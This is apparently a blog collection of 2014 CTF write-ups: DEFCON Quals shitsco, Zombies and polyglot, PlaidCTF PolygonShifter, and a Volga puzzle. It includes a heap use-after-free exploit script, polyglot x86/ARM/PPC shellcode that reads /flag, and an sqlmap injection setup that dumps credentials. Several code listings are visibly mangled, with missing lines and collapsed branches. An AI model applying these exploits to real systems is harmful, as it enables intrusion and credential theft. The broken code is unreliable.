DEFCON 2014 Quals : shitsco

19 May 2014


shitsco is running at:

Capture the flag.

Basic binary service? Sure why not.

Poking it with a stick

 oooooooo8 oooo        o88    o8
 888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888
        888 888   888   888  888           888 888         888     888
 o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
Type ? followed by a command for more detailed information
$ enable foo
Nope.  The password isn't foo

Weird fake cisco router thing. Notable looking commands, shell, set, show, enable.

  1. shell is fake, prints “bash-3.2$” then laughs at you.
  2. enable sure does take a password to enable admin access
  3. set sets ‘variables’, show shows them

We started with enable, since sometimes you can get back more data than you send!

A bit later in IDA, we have some function names: Function Names

Enable seems not too exciting, though it does appear to set an admin bit. enable graph

Notably, their read_input function doesn’t properly null terminate strings, so sometimes we can get a few bytes of stack data out of the %s on printf. Unfortunately, this turns out to be completely worthless.

I later realized that this IS useful, I knew I was reading the result of strcmp, but was lazy and didn’t think about the fact that strcmp tells you WHERE the difference starts, so you can trivially brute force the password only 1 character at a time. This would’ve also worked.

On to the other odd looking features of ‘set’ and ‘show’.

Show does something like:

if name != null
  print find_value(name)
  node = head
  while!= null
	if != null
	  print node

Where the node struct looks like:

struct node{
  char* name;
  char* value;
  struct node* next;
  struct node* prev;

Getting an arbitrary read

Neat, so we can print out values, looking at set, it turns out we can also DELETE values: set delete path

I wonder what happens when we delete the statically allocated head of the list, while having 2 variables set?

(gdb) x /20x 0x804C36C
0x804c36c:      0x00000000      0x00000000      0x0804d1c0      0x00000000

[element 2]
(gdb) x /20x 0x0804d1c0
0x804d1c0:      0x0804d1d8      0x0804d1e8      0x00000000      0x00000000

Well, we obviously have to keep that next pointer set! Otherwise it could never traverse to other nodes in the list.

And if we delete the second element now?

(gdb) x /20x 0x804C36C
0x804c36c:      0x00000000      0x00000000      0x0804d1c0      0x00000000

[element 2]
(gdb) x /20x 0x0804d1c0
0x804d1c0:      0x00000000      0x00000000      0x00000000      0x00000000

Uh oh… that next pointer still looks pretty valid, and that 2nd element sure did get deleted.

Lets try allocating a new element to the head.

(gdb) x /20x 0x804C36C
0x804c36c:      0x0804d1e8      0x0804d1a0      0x0804d1c0      0x00000000

Those name and value pointers sure do look close to our dangling invalid next ptr.

With a bit of heap feng shui (smart allocation ordering) lets see what we can do.

set a bbb
set bbbbbbbbbbbbbbbb s
set a    [delete]
set bbbbbbbbbbbbbbbb     [delete]
set xxxxxxxxxxxxxxxx f

Allocate the first element normally, then allocate the 2nd element with a name of the exact same size as a struct_node, delete both. Then when we next try to create an element, we need a struct_node (head is available so it uses that) and the next allocation it tries will be for the name (xxx…) which if its the same size as struct_node, will happily take the free’d 2nd elements spot.

(gdb) x /20x 0x804C36C
0x804c36c:      0x0804d1d8      0x0804d190      0x0804d1d8      0x00000000

Hey look, our name ptr goes directly to our next pointer! Lets cook up a better name then, say one that has the same structure as a struct_node, and we can read that value whenever we want!

Reading something

Well now that we have a read, lets go back to enable, and find something to read.

.text:08049267                 mov     [esp+4Ch+buffer], ebx ; s2
.text:0804926B                 mov     [esp+4Ch+stream], offset dword_804C3A0 ; s1
.text:08049272                 call    _strcmp
.text:08049277                 mov     [esp+4Ch+var_14], eax
.text:0804927B                 mov     eax, [esp+4Ch+var_14]
.text:0804927F                 test    eax, eax
.text:08049281                 jz      short loc_80492B8
.text:08049283                 mov     [esp+4Ch+max_length], ebx
.text:08049287                 mov     [esp+4Ch+buffer], offset aNope_ThePasswo ; "Nope.  The password isn't %s\n"
.text:0804928F                 mov     [esp+4Ch+stream], 1
.text:08049296                 call    ___printf_chk

Oh… lets read 0x804C3A0.

So our name for our reallocated element is now going to need 2 things. A valid and a valid node.value. Since we want to be able to look this element up by name, and we don’t know 0x804C3A0 yet, lets have that be the value pointer, and go find a good name pointer.

.rodata:080495BC _IO_stdin_used  dd 20001h
.rodata:080495C0 ; char modes[2]
.rodata:080495C0 modes           db 'r',0                ; DATA XREF: init_opening_pw_file+18
.rodata:080495C0                                         ; cmd_flag+24
.rodata:080495C2 ; char filename[]
.rodata:080495C2 filename        db '/home/shitsco/password',0
.rodata:080495C2                                         ; DATA XREF: init_opening_pw_file+20

‘r’ is a pretty good name, no spaces and we know where it is.

Our final name string is thus

[ptr to 'r'][0x804C3A0][something][something]


from sock import *
import sys
import time

#host = "localhost:1111"
host = ""
#con = Sock("localhost:1111")
con = Sock(host)
def go_interactive(con):
	while True:
		print con.read_one(0)

def pause_script():
	raw_input("Paused... Press enter to continue")  

namestr = "\xC0\x95\x04\x08"+"\xA0\xC3\x04\x08"*3
valstr = "f"

con.send_line("set a bbb")
con.send_line("set "+'b'*16+" s")
con.send_line("set a ")
con.send_line("set "+'b'*16+" ")
con.send_line("set "+namestr+" "+valstr)



con.send_line("show "+"r")
data =  con.read_line()

print data
print [hex(ord(x)) for x in data]

Reading the password produces some password: bruT3m3hard3rb4by

Which we then use

$ enable
Please enter a password: bruT3m3hard3rb4by

and the (previously unlisted) flag command

# flag
The flag is: Dinosaur vaginas

… Not sure what that had to do with the problem, but its worth points


DEFCON 2014 Quals : Zombies

19 May 2014


Aim small, miss small. Or not...your call. 20689

No binary? Either this is just a puzzle problem, or we’re gonna have to pull a binary out of this…

Thankfully, its the former.

Poking it with a stick

Its a physics game, where you have to shoot zombies on a 2-d plane. (distance to zombie, height of zombie above you).

You start out being given the option of choosing a rifle and a pistol to use, each with a different muzzle velocity (and unlisted magazine size!). It also tells you that the pistol may not work past 50m.

netcat time!

Let's play a game...
Situation: You're the last survivor of the zombie apocolypse in your town. You were driving your van of puppies to Tribbletown on a pleasant, windless day, and broke down in a valley. Now all 100 of your puppies are running amongst the zombies. Protect them with your guns!
Choose your rifle. You will also have one spare magazine.
Weapon                    Muzzle Velocity
1. M1 Garand                 853
2. LaRue OBR .556mm          975
3. H&K G3 w/ box magazines   800
Choose your pistol. You will also have two spare magazines.
Weapon                    Muzzle Velocity
1. Wilson Combat CQB .45     251
2. Desert Eagle .50          350
3. Glock 17 9mm              375
Your weapons are: LaRue OBR .556mm and Glock 17 9mm
Firing your pistol at a target beyond 50m is risky!
Game mechanics: For each guess, enter 'r' or 'p' for rifle or pistol, followed by the angle of elevation for your shot and distance and elevation to the point you'd like your bullet to impact
Example: r, 33.68, 12.44, 88.21
You have your weapons, now watch your ammunition; Tribbletown will only let you in with all 100 puppies.
  • There are then 100 levels you have to hit a zombie on, with 0 misses.
  • Pick weapons with large (unlisted) magazine sizes, since we get a multiple of mag size for total ammo.
  • Command format is “{r,p}, angle, dest_distance, dest_height”

Talking to it

We split the problem into two parts, one person writing a python script to play the game and parse levels, and one writing our firing calculations. Initially, the levels only have a stationary zombie, and no time limit. Due to the way the levels were phrased. “You are standing still” and “The zombie is not moving” we assumed that eventually neither would be true. So rather than go with a simple closed form solution, we built a full simulator to guess shots.

While we did get this working, it was pretty slow, and had a few bugs with close-range high-up shots. Eventually, it got us to level 10, where things change a little.

  • It turns out you are not allowed to shoot past 50m with the pistols (we tried, in case we could ration ammo more carefully).
  • And if you try to switch what you shoot with in <1 second after level 10, you auto lose due to “transitions take time!”.
  • There is no reloading
  • There is no reason to use anything but the highest ammo count weapons


Levels look basically like

Level 1
You are still, aiming carefully from your van
The zombie is stalking a puppy 29m from your van and 35m above your van
The zombie has no's not moving.
Enter your shot details:

Starting with level 10, the zombies are moving, this we have (output from our tool):

level 10
Zombie @ 232.0:304.0 Moving to:116.0:304.0 in :11.0 seconds

Because calculating a moving shot is hard, and the game tells you how many seconds have passed

1 second has passed...
2 seconds have passed...

We just will always shoot after 2 seconds. So we aim at where the zombie will be in 2 seconds:

target_time = ttd-1
if ttd > 2:
    target_time = 2

if(ttd > 0):
    tz = [0,0]

    dlta = target_time/(ttd)

    if(zd[0] > zm[0]):
        tz[0] = zd[0] - (zd[0]-zm[0])*dlta
        tz[0] = zd[0] + (zm[0]-zd[0])*dlta

    if(zd[1] > zm[1]):
        tz[1] = zd[1] - (zd[1]-zm[1])*dlta
        tz[1] = zd[1] + (zm[1]-zd[1])*dlta

Helpfully, it appears the zombies move in 1-second timesteps, which are slower than real-world seconds, so we can do this pretty easily.

At this point, unless we got a ‘bad’ point (and our shot compute got stuck), our script was able to beat levels pretty consistantly.

Our shot calculation work kept going, adding features to get ready to deal with a full 3-body problem while we continued running the game to see what would change.

Then our script hit level 91 without any changes occuring to the game and we realized maybe this wasn’t going to get harder! However, since our shot calculations were so slow, and sometimes got stuck, we couldn’t get far consistently.

Closed form solution

Well, if its just going to be a single point not moving (since we decide when we will shoot ahead of time) we can just move to a closed form solution…

alpha = -g/(2*v*v)
a = alpha*x*x
b = x
c = -y+alpha*x*x
D = b*b-4*a*c
if d < 0: print "Can't hit!"
psi = min((-b-sqrt(D))/(2*a), (-b+sqrt(D))/(2*a))
theta = atan(psi)

There goes all our hard work!

As long as we make sure to always use the pistol when the target is < 50m away, we never run out of ammo, and this is able to hit almost 100% of the time.

(There was a very small inconsistency with our calculations vs the one on the server, and it would sometimes tell us that our angle would never hit the specified point, but since this was a ~1/200 chance, we didn’t worry about it much)


At this point, we just ran our script (with 15 minutes left in the competition!) and waited.

After 100 levels of hits, we get a flag.

from sock import *
import sys
import time

import struct

import shot2

host= ""

rifles= [853,975,800]
pistols = [251,350,375]

rifle = 1
pistol = 2

riflefired = 0
pistolfired = 0

def go_interactive(con):
	while True:
		print con.read_one(0)

def pause_script():
	raw_input("Paused... Press enter to continue")  

def parse_opening(con,rifle,pistol):

def parse_level(con):
	raw = con.read_until("Level ")
	lvl = int(con.read_until("\n"))

	# Parse what we are doing
	osstr = con.read_line()
	raw += osstr
	if "are still" in osstr:
		our_state = [0,0]
		print "WE ARE MOVING"
		print  osstr

	# Parse zombie distance
	zdstr = con.read_line()
	raw += zdstr
	zdstr = zdstr.replace('m','')
	zombie_dist = [float(s) for s in zdstr.split(" ") if s.isdigit()]
	if len(zombie_dist) == 2:
		zmstr = con.read_line()
		raw += zmstr
		if "not moving" in zmstr:
			zombie_move = [0,0]
			time_to_die = [0]
			print zmstr
	elif len(zombie_dist) == 4:
		zombie_move = [zombie_dist[2],zombie_dist[3]]
		timing = con.read_line()
		raw +=timing
		time_to_die = [float(s) for s in timing.split(" ") if s.isdigit()]
		print "Something bad in zd parsing"
		print zdstr

	#zombie movement parsing above

	check = con.read_line()
	raw +=check
	return(lvl,raw,our_state,zombie_dist,zombie_move,time_to_die[0],"shot details" in check)

def print_level(lvl,os,zd,zm,ttd):
	print "Level "+str(lvl)
	print "Zombie @ "+str(zd[0])+":"+str(zd[1])+ " Moving to:"+str(zm[0])+":"+str(zm[1])+" in :"+str(ttd)
	print "We are moving:"+str(os[0])+":"+str(os[1])

def my_calculate_shot(zd,vel):

	return (shot2.calculate_shot(vel,zd[0],zd[1]),zd[0],zd[1])

def wait_for_time(con,tm):
	ct = 0
	while ct != tm:
		d = con.read_line()
		print d
		ct = [int(s) for s in d.split(" ") if s.isdigit()][0]

def calculate_level(os,zd,zm,ttd):
	global pistolfired
	global riflefired

	# figure out which gun?
	if zd[0] <= 50:
		use_p = True
		use_p = False

	if use_p:
		(ang,dist,ele) = my_calculate_shot(zd,pistols[2])
		pistolfired +=1
		return "p, "+str(ang)+", "+str(zd[0])+", "+str(zd[1])
		(ang,dist,ele) = my_calculate_shot(zd,rifles[1])
		riflefired +=1
		return "r, "+str(ang)+", "+str(zd[0])+", "+str(zd[1])

con = Sock(host)

plvl = 0

for i in range(0,100):
	(lvl,raw,os,zd,zm,ttd,ok) = parse_level(con)
	print raw

	if plvl > lvl:
		print "MISSED :("
		plvl = lvl

	if not ok:
		print "Parse failure!"
		print raw


	# Lets do the calculations for zombie moving in
	target_time = ttd-1
	if ttd > 2:
		target_time = 2

	if(ttd > 0):
		tz = [0,0]

		dlta = target_time/(ttd)

		if(zd[0] > zm[0]):
			tz[0] = zd[0] - (zd[0]-zm[0])*dlta
			tz[0] = zd[0] + (zm[0]-zd[0])*dlta

		if(zd[1] > zm[1]):
			tz[1] = zd[1] - (zd[1]-zm[1])*dlta
			tz[1] = zd[1] + (zm[1]-zd[1])*dlta

		# now we have the predicted target
		tz = zd

	move = calculate_level(os,tz,zm,ttd)
	print "Our move is:"+move

	# Wait until time to take the shot IF we have to
	if ttd > 0:

	result = con.read_line()

	print "AMMO:R:"+str(riflefired)+"P:"+str(pistolfired)

	if "Sorry, you missed" in result:
		print "MISSED SHOT"
		print result
		print result

And our shot calculation

from math import *

g = 9.81

def calculate_shot(v,x,y):
	alpha = -g/(2*v*v)
	a = alpha*x*x
	b = x
	c = -y+alpha*x*x
	D = b*b-4*a*c
	if D < 0: return None
	psi = min((-b+sqrt(D))/(2*a), (-b+sqrt(D))/(2*a))
	theta = atan(psi)
	return degrees(theta)

Our (eventually un-used) shot calculation

import math
from collections import namedtuple

Run = namedtuple('Run', ['angle', 'error', 'delta'])

class Point:
	def __init__(self, x, y):
		self.x = x
		self.y = y
	def __repr__(self):
		return "P(%.4f, %.4f)"%(self.x, self.y)

	def distsq(self, point):
		return pow(self.x - point.x, 2) + pow(self.y - point.y, 2)

	def dist(self, point):
		return math.sqrt(pow(self.x - point.x, 2) + pow(self.y - point.y, 2))

	def mag(self,):
		return math.sqrt(pow(self.x, 2) + pow(self.y, 2))

class PObject:
	def __init__(self, location, velocity, acceleration):
		self.location = location
		self.velocity = velocity
		self.acceleration = acceleration

	def update(self, timedelta):
		self.location.x += self.velocity.x * timedelta
		self.location.y += self.velocity.y * timedelta

		self.velocity.x += self.acceleration.x * timedelta
		self.velocity.y += self.acceleration.y * timedelta

def simulate_shot( firing_solution, target_loc, timestep = 0.00001 ):
	speed,angle = firing_solution

	position = Point(0.,0.)
	velocity = Point(speed*math.cos(angle), speed*math.sin(angle))
	acceleration = Point(0, -9.81)

	shot = PObject( Point(0.,0.),
			Point(speed*math.cos(angle), speed*math.sin(angle)),
			Point(0, -9.81))

	time = 0
	while position.x < target_loc.x:
		lerp = 1

		if position.x + velocity.x * timestep > target_loc.x:
			# LERP
			lerp = (target_loc.x - position.x) / (velocity.x * timestep)

		position.x += lerp * velocity.x * timestep
		position.y += lerp * velocity.y * timestep

		velocity.x += lerp * acceleration.x * timestep
		velocity.y += lerp * acceleration.y * timestep

		time = time + lerp * timestep

		if time > 10:
		if lerp != 1:

	#print "POSITIONS", position, shot.location

	return time, position

def find_shot( mps, target_loc, epsilon = 0.001, timestep = 0.00001 ):
	location = Point(0,0)
	solution = (mps, 0)

	time, position = simulate_shot( solution, target_loc, timestep )

	tries = []
	picks = set()
	limit = 500
	i = 1
	dontpanic = False

	#scaling = abs(math.cos(math.atan(target_loc.y / float(target_loc.x))) / (math.pi/2))
	#scaling = abs(target_loc.x) / target_loc.mag()

	while target_loc.dist(position) > epsilon:
		scaling = 1

		# print position,
		# print target_loc,
		# print solution,
		# print target_loc.dist(position),
		# print (target_loc.y - position.y),
		# print scaling,

		# print 0.4 * math.atan( (target_loc.y - position.y) / (location.x - position.x) ),

		# print

		# ensure the deltas have the same signs
		if False and not dontpanic and (len(tries) > 1 and tries[-1].error > tries[-2].error and
				tries[-1].delta * tries[-2].delta > 0):
			#if last_error is not None and current_error > last_error:
			# don't use that generation to pick a new angle.
			# pick the best previous angle and mudge it a bit

			delta = tries[-1].delta + tries[-2].delta

			angledelta = tries[-1].angle + tries[-2].angle

			#winner = min(tries, key=lambda x: x.error)
			#angle = winner.angle + 0.001
			#while angle in picks:
			#    angle = angle + 0.01

			dontpanic = True

			print "panicing, picking %.4f"%(angle)
			print winner
			angle = solution[1] - 0.1 * math.atan( (target_loc.y - position.y) / (location.x - position.x) )
			dontpanic = False

		solution = (mps, angle)
		time, position = simulate_shot( solution, target_loc, timestep )
		tries.append( Run(angle, target_loc.dist(position), target_loc.y - position.y) )

		i += 1
		if i > limit:
			print "something has gone wrong"
			return None

	print "Landing shot at ", position
	print "Distance is ", target_loc.dist(position)
	print ( solution[1], position.x, position.y )

	return ( solution[1], position.x, position.y )

def calculate_shot( mps, zombie_loc, puppy_loc, puppy_velocity, van_movement ):

	if puppy_loc is not None:
		raise "zombie movement not implemented"

	if puppy_velocity is not None:
		raise "puppy velocity not implemented"

	if van_movement is not None:
		raise "van movement not implemented"

	zombiep = Point(zombie_loc[0], zombie_loc[1])
	position = Point(0,0)

	angle, positionx, positiony = find_shot( mps, zombiep, timestep = (zombiep.dist(position)/mps)/50000 )
	return ( math.degrees(angle), positionx, positiony )


DEFCON 2014 Quals : polyglot

18 May 2014

Gynophage 4 - Polyglot

Just open /flag, and write it to stdout. How hard could it be? 30000 

Password: w0rk_tHaT_tAlEnTeD_t0nGu3

When we connect and supply the password, we see

Give me shellcode.  You have up to 0x1000 bytes.  All GPRs are 0.  PC is 0x41000000.  SP is 0x42000000.

If we send garbage, we see

Throwing shellcode against linux26-x86.(


Didn't send back the right value.  Fail.

Our objective was to print out /flag on each target machine. We found some shellcode to print out a file, and modified it to print /flag instead.


If we send this shellcode raw to the service, we advance to the next level:

Throwing shellcode against linux26-armel.(

In the end, we needed to devise shellcode to work on Linux on x86, ARMEL (little-endian), ARMEB (big-endian), and PPC. The strategy we used was to assemble a series of jumps so that each architecture would take a different jump to its own shellcode. In other instruction encodings, they must be legal, not alter control flow, and not cause illegal memory accesses. However, we don’t need to worry about instructions after each jump for a given architecture.

     / \
    /\ x86
  PPC \

x86’s variable width instructions caused the greatest trouble. In particular, the middle two bytes of the PPC branch instructions of the form 48 00 XX XX were interpreted in x86 as arithmetic with a register dereference. Since all GPRs were zero, this caused a segmentation fault on x86. So, we put the x86 jump in front followed by the remainder of the jumps.

The branch part of our shellcode was:

       73 12 00 00 | 48 00 01 70 | 9a 00 00 40 | 13 00 00 ea
x86    jmp 0x14    | <bypassed>  | <bypassed>  | <bypassed>
PPC    andi  ...   | b 0x174     | <bypassed>  | <bypassed>
ARMEB  tstvc ...   | stmdami ... | bls 0x110   | <bypassed>
ARMEL  andeq ...   | andvc   ... | mulmi ...   | b 0x60


        / \
1      X  jmp
      / \   \
2    X   b   x86
    / \   \
3  X   bls PPC 
    \   \
4    b   ARMEB

Then, we placed shellcode for x86 at 0x14, ARMEL shellcode at 0x60, ARMEB shellcode at 0x110, and PPC shellcode at 0x174. The x86 shellcode we used is described above.

Our custom shellcode opened /flag, read it into the BSS section, wrote it to stdout, then exited. We used the same shellcode source for ARMEL and ARMEB:

    add r0, pc, #(filename-shellcode-8)

    mov r7, #5
    mov r1, #0
    svc #0
    mov r0, a1

    mov r7, #3
    mov r3, #0x16000
    mov r1, r3
    mov r2, #4096
    svc #0
    mov r2, a1

    mov r7, #4
    mov r0, #1
    mov r1, r3

    svc #0

    mov r7, #1
    mov r0, #0
    svc #0

    .string "/flag" 

We compiled this for ARMEL and ARMEB separately and used dd to copy out the text sections into raw binary files.

Our PPC shellcode is below. We had to hardcode the address of the BSS section of the provided binary by loading 0x1001 into r4, shifting it left 16 bytes, then loading the lower 2 bytes.

    li      0, 5
    li      3, 0x41
    slwi    3, 3, 24
    addi    3, 3, (filename-shellcode+0x174)
    li      4, 0
    li      5, 0

    li      0, 3
    mr      3, 3
    li      4, 0x1001
    slwi    4, 4, 16
    ori     4, 4, 0x5a74
    li      5, 2048

    mr      5, 3    
    li      0, 4
    li      3, 1
    li      4, 0x1001
    slwi    4, 4, 16
    ori     4, 4, 0x5a74

    li      0, 1
    li      3, 0
    .string "/flag"

We used a Python script to handle the assembly of the combined binary and the interaction with the server. shellcode-ppc was compiled manually on a different machine and moved over before each run. This is the script we used:

import sys
import os
import time
from sock import *

# dd for files!
def os_dd(dst, src, skip=0, seek=0, count=0):
    print "dd'ing", dst, "to", src, "skip", skip, "seek", seek
    cmd = 'dd if=%s of=%s skip=%d seek=%d bs=1'%(src,dst, skip,seek)
    if count: cmd += ' count='+str(count)

# dd for lists!
def dd(dst, src, skip=0, seek=0, count=None):
    if not count: count = min(len(dst)-seek, len(src)-skip)
    for i in range(count): dst[seek+i] = src[skip+i]
    return dst

X86_SIZE = 0x4c
def get_x86_shellcode():
    shellcode = ''

    # world's shortest nopsled
    shellcode += "\x90"*4

    shellcode += "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"+\
    return shellcode

def get_armel_shellcode():
    os.system('arm-linux-gnueabi-as shellcode-arm.s -o shellcode-armel')
    os_dd('shellcode-armel.bin','shellcode-armel', skip=52, count=0x50)
    return open('shellcode-armel.bin').read()

def get_armeb_shellcode():
    os.system('arm-linux-gnueabi-as -mbig-endian shellcode-arm.s -o shellcode-armeb')
    os_dd('shellcode-armeb.bin','shellcode-armeb', skip=52, count=0x50)
    return open('shellcode-armeb.bin').read()

def get_ppc_shellcode():
    # no compilation here yet
    os_dd('shellcode-ppc.bin','shellcode-ppc', skip=52, count=0x6e)
    return open('shellcode-ppc.bin').read()

def get_branch():
    # x86 jump
    r = '\x73\x12\x00\x00'
    # PPC branch
    r += '\x48\x00\x01\x70'
    # ARMEL branch
    r += '\x9a\x00\x00\x40'
    # ARMEB branch
    r += '\x13\x00\x00\xea'
    return r

def assemble():
    shellcode = ['X']*1024
    pc = 0
    branch = get_branch()
    shellcode = dd(shellcode, branch)
    pc = len(branch)
    shellcode = dd(shellcode, get_x86_shellcode(), seek=pc)
    shellcode += 'X' * (pc - len(shellcode))
    print "pc is now", pc
    shellcode = dd(shellcode, get_armel_shellcode(), seek=pc)
    shellcode += 'X' * (pc - len(shellcode))
    shellcode = dd(shellcode, get_armeb_shellcode(), seek=pc)
    shellcode += 'X' * (pc - len(shellcode))
    shellcode = dd(shellcode, get_ppc_shellcode(), seek=pc)
    return shellcode

def test_live():
    con = Sock(" 30000")
    while 1:


The resulting assembled shellcode looks like:

00000000  73 12 00 00 48 00 01 70  9a 00 00 40 13 00 00 ea  |s...H..p...@....|
00000010  90 90 90 90 31 c0 31 db  31 c9 31 d2 eb 32 5b b0  |....[.|
00000020  05 31 c9 cd 80 89 c6 eb  06 b0 01 31 db cd 80 89  |.1.........1....|
00000030  f3 b0 03 83 ec 01 8d 0c  24 b2 01 cd 80 31 db 39  |........$....1.9|
00000040  c3 74 e6 b0 04 b3 01 b2  01 cd 80 83 c4 01 eb df  |.t..............|
00000050  e8 c9 ff ff ff 2f 66 6c  61 67 00 00 58 58 58 58  |...../flag..XXXX|
00000060  40 00 8f e2 05 70 a0 e3  00 10 a0 e3 00 00 00 ef  |@....p..........|
00000070  00 00 a0 e1 03 70 a0 e3  16 3a a0 e3 03 10 a0 e1  |.....p...:......|
00000080  01 2a a0 e3 00 00 00 ef  00 20 a0 e1 04 70 a0 e3  |.*....... ...p..|
00000090  01 00 a0 e3 03 10 a0 e1  00 00 00 ef 01 70 a0 e3  |.............p..|
000000a0  00 00 a0 e3 00 00 00 ef  2f 66 6c 61 67 00 00 00  |......../flag...|
000000b0  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
00000110  e2 8f 00 40 e3 a0 70 05  e3 a0 10 00 ef 00 00 00  |...@..p.........|
00000120  e1 a0 00 00 e3 a0 70 03  e3 a0 3a 16 e1 a0 10 03  |......p...:.....|
00000130  e3 a0 2a 01 ef 00 00 00  e1 a0 20 00 e3 a0 70 04  |..*....... ...p.|
00000140  e3 a0 00 01 e1 a0 10 03  ef 00 00 00 e3 a0 70 01  |..............p.|
00000150  e3 a0 00 00 ef 00 00 00  2f 66 6c 61 67 00 00 00  |......../flag...|
00000160  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
00000170  58 58 58 58 38 00 00 05  38 60 00 41 54 63 c0 0e  |XXXX8...8`.ATc..|
00000180  38 63 01 dc 38 80 00 00  38 a0 00 00 44 00 00 02  |8c..8...8...D...|
00000190  60 00 00 00 38 00 00 03  38 60 00 03 38 80 10 01  |`...8...8`..8...|
000001a0  54 84 80 1e 60 84 5a 74  38 a0 08 00 44 00 00 02  |T...`.Zt8...D...|
000001b0  60 00 00 00 7c 65 1b 78  38 00 00 04 38 60 00 01  |`...|e.x8...8`..|
000001c0  38 80 10 01 54 84 80 1e  60 84 5a 74 44 00 00 02  |8...T...`.ZtD...|
000001d0  38 00 00 01 38 60 00 00  44 00 00 02 2f 66 6c 61  |8...8`..D.../fla|
000001e0  67 00 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |g.XXXXXXXXXXXXXX|
000001f0  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|


PlaidCTF 2014 Writeups

13 Apr 2014

Web 100 - PolygonShifter

We’re presented with a “bot-unfriendly” example login page. The names of the username and password fields in the source are generated with each page, along with the action path:

<form action="/kd0Opm3615utl3YSLs0g" method="POST">
    <label for="" style="text-align:left;">Username</label>
    <input type="text" id="0YkfgNs8LGlEO9F9NwhM" name="8V7Qt7KtSJL3OW9zpwPj">
    <label for="I48lIt3mdAdDB0ErbYx3" style="text-align:left;">Password</label>
    <input type="password" id="I48lIt3mdAdDB0ErbYx3" name="kzDhvllIYyqf3uHH6lZN">
    <input class="primary large" type="submit" value="Login">

We also receive a cookie session:


This is the form of a signed, timestamped data cookie. The period at the beginning of the string indicates that the cookie is zlib-compressed, BiyFoA is the representation of the timestamp, and MVsPdsBLjDQAqPoi9JQyAHAzQsQ is the signature of the cookie.

We can dissect cookies in Python:

>>> session = '.eJxdzU0LgjAAgOG_Ejt3UFcXoYvorGDJdJbtEnMuMj9xhjLpvxd
>>> session = session.split('.')[1]
>>> len(session)
>>> session += '='*(-len(session)%4) # add padding
>>> import base64, zlib
>>> zlib.decompress(base64.urlsafe_b64decode(session))
'{"action_field":{" b":"a2QwT3BtMzYxNXV0bDNZU0xzMGc="},
  "password_field":{" b":"a3pEaHZsbElZeXFmM3VISDZsWk4="},
  "password_id":{" b":"STQ4bEl0M21kQWREQjBFcmJZeDM="},
  "username_field":{" b":"OFY3UXQ3S3RTSkwzT1c5enB3UGo="},
  "username_id":{" b":"MFlrZmdOczhMR2xFTzlGOU53aE0="}}'

password_field and username_field are the base64-encoded field names on the example login page.

Some attempts revealed that the username and password fields were vulnerable to SQL injection; we were able to achieve errors, and log in as test even when providing a username of admin. sqlmap would be the tool to use, except the form submission path, username field name, and password field name, are randomized and then stored in a signed cookie. Each request must be submitted to a different path with random parameter names, and sqlmap is not suited to doing this.

So, we used libmproxy to build a proxy to rewrite outgoing requests, and direct sqlmap to pass requests through it:

from libmproxy import controller, proxy, flow
import os
import base64
import zlib
import json
class StickyMaster(controller.Master):
    def __init__(self, server):
        controller.Master.__init__(self, server)
    def run(self):
        except KeyboardInterrupt:

    def handle_request(self, msg):
        hid = (, msg.port)
        msg.headers["Cookie"] = ['; '.join(self.cookies)]
        msg.headers['User-Agent'] = ['Mozilla/5.0 (X11; Linux x86_64) \
            AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152\
        if msg.path == '/ACTIONPLS':
            msg.path = '/'+base64.b64decode(self.fields['action_field'][' b'])
            print "Changing path to", msg.path
            params = msg.get_form_urlencoded()
            u_param = [params['username'][0]]
            p_param = [params['password'][0]]
            print "incoming parameters: ",u_param, p_param
            newparams = flow.ODict()
            newparams[base64.b64decode(self.fields['username_field'][' b'])] = u_param
            newparams[base64.b64decode(self.fields['password_field'][' b'])] = p_param 
            print "Changed params to:"
            print newparams

    def handle_response(self, msg):
        hid = (, msg.request.port)
        print "response", hid
        if msg.headers["set-cookie"]:
            print msg.headers["set-cookie"]
            self.cookies = [x.split(';')[0] for x in msg.headers["set-cookie"] if 'delete' not in x]   
            self.scookie = self.cookies[0].split('=')[1]
            self.fields = self.scookie.split('.')[1]
            self.fields = json.loads(zlib.decompress(base64.urlsafe_b64decode(self.fields)))
            print self.fields

config = proxy.ProxyConfig()
server = proxy.ProxyServer(config, 7222)
m = StickyMaster(server)

The proxy will rewrite username and password using the field names from the most recent signed cookie, and change the request path similarly. Then, we can use sqlmap to inject on fields named username and password using the URL /ACTIONPLS. The final step is to ensure that each outgoing request has a fresh signed cookie. We use the --eval sqlmap flag to send a request to /example before each injection attempt, also through the proxy. The final sqlmap command we used is:

sqlmap -u "" --data="username=test&password=test"\
 --eval="import urllib,time; urllib.urlopen('',\
 -s /tmp/sqlmapoutputEVk5JE/\
 --exclude-sysdbs -T polygon_user --threads=8 --dump -D polygon_db

The output:

Database: polygon_db
Table: polygon_user
[2 entries]
| id | username | password                       |
| 1  | test     | test                           |
| 2  | admin    | n0b0t5_C4n_bYpa5s_p0lYm0rph1Sm |

Logging in as admin with that password displays my password is the flag, which it is!


Volga CTF 2014 Writeups

07 Apr 2014

Joy 200

Japcross.txt resembles a picross/nonogram puzzle. It’s a bit large to solve by hand, so we wrote a script to reformat it:

rows = open('japcross.txt').read().split('\r\n')

def get(x,y):
	return rows[y].split('\t')[x]

ver = []
hor = []
for y in range(11,44):
	vals = []
	for x in range(11,-1,-1):
		r = get(x,y)
		if not r: break
		vals = [r] + vals

for x in range(12,45):
	vals = []
	for y in range(10,-1,-1):
		r = get(x,y)
		if not r: break
		vals = [r] + vals

print "width", len(hor)
print "height", len(ver)
print "rows"
for row in ver:
	print ','.join(row)
print "columns"
for col in hor:
	print ','.join(col)

Then, we submitted it to an online solver here:

The solution

The QR code encodes “longing for you drove me through the stars. Alexei Tolstoy”. This entire string was the flag.


Nuit Du Hack Quals 2014 Writeups

07 Apr 2014


We’re provided the following cryptic string:

